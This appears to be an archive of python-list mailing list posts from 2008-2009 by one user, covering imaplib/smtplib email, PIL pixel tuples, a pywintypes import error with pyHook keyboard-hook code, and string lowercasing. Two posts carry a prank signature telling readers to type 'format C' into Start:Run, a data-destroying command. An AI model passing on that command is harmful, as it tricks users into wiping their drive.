imaplib and smtplib

2009-04-19 Thread Vistro
I want to download a message from my Gmail inbox with imaplib, then forward
(basically resend it) with smtplib. I can log in with both. I just need to
know how to download a message with imaplib, and what needs to be converted
into what to be able to send it with smtplib.

For a good time, go to Start:Run and type in format Chttp://www.vistro.net/
--
http://mail.python.org/mailman/listinfo/python-list


for blackberry?

2009-04-18 Thread Vistro
Is there any good way of getting python to run on a blackberry 8830
world edition?

-- 

--
http://mail.python.org/mailman/listinfo/python-list


PIL, and Parts of tuples

2009-04-13 Thread Vistro
I have two problems, and I can't find anything about either of them.
The first is that PIL does not seem to have any way to search each and every
pixel for a value, like

for pixel in img:
if pixel = ((60, 30), (58, 23), (87 57)):
# Get out of the for loop
# Also, save the pixel quardinates to a variable


Then, I also want it to look at a specific pixel (I've got that down), and
do something if the any one of the values in the tuple is out of range.

The issue is, the range is different for every value. Basically, it is to
see if the pixel is in an acceptable color range. So, say, the 60 above can
be anywhere from 58-62, but the 30 needs to be between 28-40.

Is there any way to parse/deal with a value at a specific slot in a tuple?
--
http://mail.python.org/mailman/listinfo/python-list


Re: PIL, and Parts of tuples

2009-04-13 Thread Vistro
Actually, I screwed up.
See 60, 30? That's actually the range. The tuple to be checked will look
like

(40, 25, 51)

So yeah. Sorry for the bad info.

For a good time, go to Start:Run and type in format Chttp://www.vistro.net/

On Mon, Apr 13, 2009 at 3:41 PM, Chris Rebert c...@rebertia.com wrote:

 On Mon, Apr 13, 2009 at 1:34 PM, Vistro vis...@vistro.net wrote:
  I have two problems, and I can't find anything about either of them.
  The first is that PIL does not seem to have any way to search each and
 every
  pixel for a value, like
  for pixel in img:
  if pixel = ((60, 30), (58, 23), (87 57)):
 snip
  see if the pixel is in an acceptable color range. So, say, the 60 above
 can
  be anywhere from 58-62, but the 30 needs to be between 28-40.
  Is there any way to parse/deal with a value at a specific slot in a
 tuple?

 Yes, use subscripting, just like with lists:

 the_tuple = (60, 30)#for example

 if not (58 = the_tuple[0] = 62) or not (28 = the_tuple[1] = 40):
#it's out of range, do something

 Cheers,
 Chris
 --
 I have a blog:
 http://blog.rebertia.com

--
http://mail.python.org/mailman/listinfo/python-list


Re: Pythoncom and pywintypes

2008-08-28 Thread Vistro
A Reinstall seems to have done nothing...

On Thu, Aug 28, 2008 at 4:49 AM, Gabriel Genellina
[EMAIL PROTECTED]wrote:

 En Wed, 27 Aug 2008 21:17:22 -0300, Vistro [EMAIL PROTECTED] escribi�:

  Hey, there. I've been coding in python for about three weeks now. I have
 made basic games, tools to check forum PMs for me, and other general
 utilities with python, but I'm now encountering problems.

 http://ubuntuforums.org/archive/index.php/t-511211.html

 I want to do that, and I have installed both sets needed from source
 forge,
 but I always get this issue when I run the code, and there isn't a single
 listing on the internet that addresses this.

 

 Traceback (most recent call last):
  File C:/Documents and Settings/Guest Editor/Desktop/key.py, line 3, in
 module
import pythoncom
  File C:\Python25\lib\site-packages\pythoncom.py, line 2, in module
import pywintypes
 ImportError: No module named pywintypes

 I've installed pythoncom right from the box. I don't know whats wrong, but
 I'm sure it has something to do with my stupidity.


 Reinstalling the pywin32 package should fix that, I presume.

  BUT, here is the strangest part.

 # Magic utility that redirects to pythoncomxx.dll
 import pywintypes
 pywintypes.__import_pywin32_system_module__(pythoncom, globals())


 That is ALL that pythoncom.py seems to be. ALL that.

 I think that it's trying to import something, THEN tell the interpreter
 where it is. That seems kinda stupid.


 In fact that __import_whatever function does a rather complex task, it must
 ensure that the *right* pywintypes25.dll (or pythoncom25.dll) is loaded,
 even when it's implicitely loaded.

 --
 Gabriel Genellina

 --
 http://mail.python.org/mailman/listinfo/python-list
--
http://mail.python.org/mailman/listinfo/python-list

Re: Sending e-mail

2008-08-28 Thread Vistro
I used that code before, and it did not do what it needed to do. If you are
just sending text, this usually works for me.

def sendMail():

## Parameters for SMTP session
port=587
SMTPserver=  'smtp.gmail.com'
SMTPuser= 'gmail username, which is your gmail address'
pw= 'your gmail password'
SENDER= SMTPuser


## Message details
FROM=  SENDER
TO= 'whoever you want to send it to'
CC=FROM
##RECEIVERS= (TO, CC)  ##proper way to send to both TO and CC
RECEIVERS= (TO,)  ## ignore the CC address


subject= 'subject here'
message= 'message here'


print 'Please wait...'
(SMTPserver,SMTPuser)
session = smtplib.SMTP(SMTPserver,port)
session.set_debuglevel(0)  # set debug level to 1 to see details
session.ehlo(SMTPuser)  # say hello
session.starttls()  # TLS needed
session.ehlo(SMTPuser)  # say hello again, not sure why
session.login(SMTPuser, pw)


##Create HEADER + MESSAGE
HEADER= 'From: %s\r\n' % FROM
HEADER= HEADER + 'To: %s\r\n' % TO
HEADER= HEADER + 'Cc: %s\r\n' % CC
HEADER= HEADER + 'Subject: %s\r\n' % subject
BODY= HEADER + '\r\n' + message



SMTPresult = session.sendmail(SENDER, RECEIVERS, BODY)  ## send email


session.close()

On Thu, Aug 28, 2008 at 1:52 PM, [EMAIL PROTECTED] wrote:

 I work at a training center and I would like to use Python to generate
 a number of certificates and then e-mail them. The certificates are a
 problem for another day - right now I just want to figure out how to
 send an e-mail.

 I confess I don't know much about the protocol(s) for e-mail. In PHP
 using CodeIgniter, the same task was amazingly easy. I think this is a
 bit harder because I'm not executing code on a remote machine that has
 its own SMTP server. According to (http://www.devshed.com/c/a/Python/
 Python-Email-Libraries-SMTP-and-Email-Parsing/http://www.devshed.com/c/a/Python/Python-Email-Libraries-SMTP-and-Email-Parsing/),
 I need to use the
 SMTP object found in the smtplib module to initiate a connection to a
 server before I can send. I want to use Gmail, but on the following
 input it stalls and then raises smtplib.SMTPServerDisconnected:

 server = SMTP(smtp.gmail.com)

 I also pinged smtp.gmail.com and tried it with the dotted quad IP as a
 string. Am I on the right track? Is this a problem with gmail, or have
 I gotten an assumption wrong?

 Here's a thought: Could I use SMTPServer (http://docs.python.org/lib/
 node620.html http://docs.python.org/lib/node620.html) to obviate the
 need to have anything to do with Gmail?
 What would be the limitations on that? Could I successfully do this
 and wrap the whole thing up in a black box? What modules would I need?

 Thanks.
 --
 http://mail.python.org/mailman/listinfo/python-list

--
http://mail.python.org/mailman/listinfo/python-list

Pythoncom and pywintypes

2008-08-27 Thread Vistro
Hey, there. I've been coding in python for about three weeks now. I have
made basic games, tools to check forum PMs for me, and other general
utilities with python, but I'm now encountering problems.

http://ubuntuforums.org/archive/index.php/t-511211.html

I want to do that, and I have installed both sets needed from source forge,
but I always get this issue when I run the code, and there isn't a single
listing on the internet that addresses this.



Traceback (most recent call last):
  File C:/Documents and Settings/Guest Editor/Desktop/key.py, line 3, in
module
import pythoncom
  File C:\Python25\lib\site-packages\pythoncom.py, line 2, in module
import pywintypes
ImportError: No module named pywintypes

***

http://ubuntuforums.org/archive/index.php/t-511211.html With the code:

import winsound
import pyHook
import pythoncom

def funkytown(event): #Play Funky Town
if event.Key == 'Back':
winsound.Beep(38, 3000)
winsound.Beep(392, 100) #Frequency (Hz), Duration(ms)
winsound.Beep(38, 100)
winsound.Beep(392, 100)
winsound.Beep(38, 100)
winsound.Beep(349, 100)
winsound.Beep(38, 100)
winsound.Beep(392, 300)
winsound.Beep(38, 100)
winsound.Beep(294, 300)
winsound.Beep(38, 100)
winsound.Beep(294, 100)
winsound.Beep(38, 100)
winsound.Beep(392, 100)
winsound.Beep(38, 100)
winsound.Beep(523, 100)
winsound.Beep(38, 100)
winsound.Beep(494, 100)
winsound.Beep(38, 100)
winsound.Beep(392, 200)

hm = pyHook.HookManager()
hm.KeyDown = funkytown
hm.HookKeyboard()
pythoncom.PumpMessages()


I've installed pythoncom right from the box. I don't know whats wrong, but
I'm sure it has something to do with my stupidity.


BUT, here is the strangest part.

# Magic utility that redirects to pythoncomxx.dll
import pywintypes
pywintypes.__import_pywin32_system_module__(pythoncom, globals())


That is ALL that pythoncom.py seems to be. ALL that.

I think that it's trying to import something, THEN tell the interpreter
where it is. That seems kinda stupid.

Anyway, what have I done wrong, and how do I fix it?
--
http://mail.python.org/mailman/listinfo/python-list

Fwd: no string.downer() ?

2008-08-27 Thread Vistro
-- Forwarded message --
From: Vistro [EMAIL PROTECTED]
Date: Wed, Aug 27, 2008 at 7:43 PM
Subject: Re: no string.downer() ?

(Hopefully this one makes its way to the list...)

I usually use this

If take the string that needs to be converted to lowercase, (should have a
variable, in this case, s)

then

s.lower()

Works every time!


On Wed, Aug 27, 2008 at 7:28 PM, John Machin [EMAIL PROTECTED] wrote:

 On Aug 28, 9:53 am, Terry Reedy [EMAIL PROTECTED] wrote:
  ssecorp wrote:
   if i want to make a string downcase, is upper().swapcase() the onyl
   choice? there is no downer() ?
 
  If you are not being a troll, there are two easy ways to answer such a
  question.
 

 [snip]

 Reading the manual backwards as the OP seems to have done (upper,
 swapcase, ...) one finds:

 
 swapcase( )

 Return a copy of the string with uppercase characters converted to
 lowercase and vice versa.
 

 Out of the possible diagnoses (trolling, incredible stupidity, feeble
 joke attempt) of the cause of the ensuing upper/downer question, I'm
 going with the third.

 --
 http://mail.python.org/mailman/listinfo/python-list

--
http://mail.python.org/mailman/listinfo/python-list